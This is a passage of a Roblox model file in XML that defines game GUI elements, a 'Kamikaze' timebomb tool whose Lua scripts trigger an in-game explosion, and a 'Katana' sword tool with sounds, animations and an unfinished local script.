							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4567">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4568">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4569">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0</Y>
					<Z>0.25</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Kamikaze</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126960483</url></Content>
				<string name="ToolTip"></string>
			</Properties>
			<Item class="Part" referent="RBX4570">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>0.295000017</X>
						<Y>0.589000046</Y>
						<Z>-31.8700008</Z>
						<R00>-0.523866057</R00>
						<R01>-0.000678266864</R01>
						<R02>0.851800203</R02>
						<R10>-2.91038305e-011</R10>
						<R11>0.999999702</R11>
						<R12>0.000796274166</R12>
						<R20>-0.851800442</R20>
						<R21>0.000417141098</R21>
						<R22>-0.523865938</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.869999826</X>
						<Y>1</Y>
						<Z>0.819999754</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX4571">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">BeepTone</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=75338648</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX4572">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=15009956</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Content name="TextureId"><url>http://www.roblox.com/asset/?id=15009943</url></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4573">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=75321266</url></Content>
					<string name="Name">Toss</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4574">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=75322014</url></Content>
					<string name="Name">ButtonPress</string>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX4575">
				<Properties>
					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>-1.80643034</X>
						<Y>0.989961267</Y>
						<Z>-0.639284194</Z>
						<R00>-0.0279221535</R00>
						<R01>0.328738153</R01>
						<R02>-0.944008291</R02>
						<R10>0</R10>
						<R11>0.944376469</R11>
						<R12>0.328866363</R12>
						<R20>0.999610126</R20>
						<R21>0.00918264687</R21>
						<R22>-0.0263689756</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.400000095</X>
						<Y>0.499999881</Y>
						<Z>-0.599998474</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4576">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">LocalScript</string>
					<ProtectedString name="Source">--Stickmasterluke


sp=script.Parent


local debris=game:GetService(&quot;Debris&quot;)
equipped=false
check=true

function onEquipped(mouse)
&#9;if mouse~=nil then 
&#9;&#9;equipped=true
&#9;&#9;if mouse~=nil then
&#9;&#9;&#9;if check then
&#9;&#9;&#9;&#9;mouse.Icon=&quot;rbxasset://textures\\ArrowCursor.png&quot;
&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;mouse.Icon=&quot;rbxasset://textures\\ArrowFarCursor.png&quot;
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;mouse.Button1Down:connect(function()
&#9;&#9;&#9;local chr=sp.Parent
&#9;&#9;&#9;if chr and check then
&#9;&#9;&#9;&#9;local t=chr:FindFirstChild(&quot;Torso&quot;)
&#9;&#9;&#9;&#9;local h=chr:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;local animobject1=sp:FindFirstChild(&quot;ButtonPress&quot;)
&#9;&#9;&#9;&#9;local animobject2=sp:FindFirstChild(&quot;Toss&quot;)
&#9;&#9;&#9;&#9;if t and h and animobject1 and animobject2 then
&#9;&#9;&#9;&#9;&#9;if h.Health&gt;0 and equipped and check then
&#9;&#9;&#9;&#9;&#9;&#9;check=false
&#9;&#9;&#9;&#9;&#9;&#9;if mouse~=nil then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;mouse.Icon=&quot;rbxasset://textures\\ArrowFarCursor.png&quot;
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;anim1=h:LoadAnimation(animobject1)
&#9;&#9;&#9;&#9;&#9;&#9;if anim1 and h and h~=nil and h.Health&gt;0 then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;anim1:Play()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(1.6)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if equipped then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;sp.Handle.BeepTone:Play()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.6)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;if equipped then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;sp.Handle.BeepTone:Play()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;if equipped then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;anim2=h:LoadAnimation(animobject2)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if anim2 and h and h~=nil and h.Health&gt;0 then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;anim2:Play()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.4)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if equipped then&#9;
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;p=sp.Handle:clone()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;p.CanCollide=true
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;p.Transparency=0
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;p.Name=&quot;Timebomb&quot;
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;p.Anchored=true
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;local s=sp.Script:clone()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;s.Parent=p
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;s.Disabled=false
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;debris:AddItem(p,20)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;p.Parent=game.Workspace
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;sp.Handle.Transparency=1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;wait(7)
&#9;&#9;&#9;&#9;&#9;&#9;sp.Handle.Transparency=0
&#9;&#9;&#9;&#9;&#9;&#9;if mouse~=nil then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;mouse.Icon=&quot;rbxasset://textures\\ArrowCursor.png&quot;
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;check=true
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end)
&#9;end
end

function onUnequipped()
&#9;equipped=false
end


sp.Equipped:connect(onEquipped)
sp.Unequipped:connect(onUnequipped)

</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4577">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<ProtectedString name="Source">--Stickmasterluke


sp=script.Parent


time=0
radius=8

function playsound(pitch)
&#9;pitch=pitch or 1
&#9;local s=sp:FindFirstChild(&quot;BeepTone&quot;)
&#9;if s~=nil then
&#9;&#9;s.Pitch=pitch
&#9;&#9;s:Play()
&#9;end
end

for i=1,time-1 do
&#9;wait(1)
&#9;playsound(0)
end
wait(0)
playsound(2)
wait(0)
playsound(2)
wait(0)
playsound(2)
wait(0)
local e=Instance.new(&quot;Explosion&quot;)
e.BlastPressure=2*(10^6)
e.BlastRadius=radius
e.Position=sp.Position
e.Parent=game.Workspace
local sound=Instance.new(&quot;Sound&quot;)
sound.SoundId=&quot;rbxasset://sounds\\Rocket shot.wav&quot;
sound.Parent=sp
sound.Volume=1
sound:play()
sp.CanCollide=false
sp.Anchored=false
sp.Transparency=1
wait(2)
sp:remove()




</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4578">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0</Y>
					<Z>-1.79999995</Z>
					<R00>0.00999951363</R00>
					<R01>-5.96046448e-008</R01>
					<R02>0.999949992</R02>
					<R10>0.999949992</R10>
					<R11>5.96046448e-008</R11>
					<R12>-0.00999951363</R12>
					<R20>-5.96046448e-008</R20>
					<R21>1</R21>
					<R22>5.96046448e-008</R22>
				</CoordinateFrame>
				<string name="Name">Katana</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126856777</url></Content>
				<string name="ToolTip">Katana</string>
			</Properties>
			<Item class="Part" referent="RBX4579">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>19.1300011</X>
						<Y>88.6800079</Y>
						<Z>28.0500011</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.400000006</X>
						<Y>0.200000003</Y>
						<Z>4.79999924</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX4580">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4581">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4582">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4583">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4584">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4585">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4586">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4587">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4588">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX4589">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=11442510</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.70000005</X>
							<Y>1.70000005</Y>
							<Z>1.70000005</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4590">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4591">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4592">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4593">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4594">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4595">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4596">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4597">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4598">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4599">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4600">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4601">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4602">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4603">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4604">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4605">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4606">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4607">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4608">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4609">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4610">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74813494</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
			</Item>
			<Item class="StringValue" referent="RBX4611">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4612">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4613">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74897796</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4614">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX4615">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX4616">
				<Properties>
					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>3.00843692</X>
						<Y>2.04299498</Y>
						<Z>0.38796404</Z>
						<R00>-0.0349024534</R00>
						<R01>-0.16666688</R01>
						<R02>0.98539561</R02>
						<R10>-3.42726707e-007</R10>
						<R11>0.985996068</R11>
						<R12>0.166768461</R12>
						<R20>-0.999391019</R20>
						<R21>0.005820252</R21>
						<R22>-0.0344138145</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.200000003</X>
						<Y>1.5</Y>
						<Z>0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4617">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
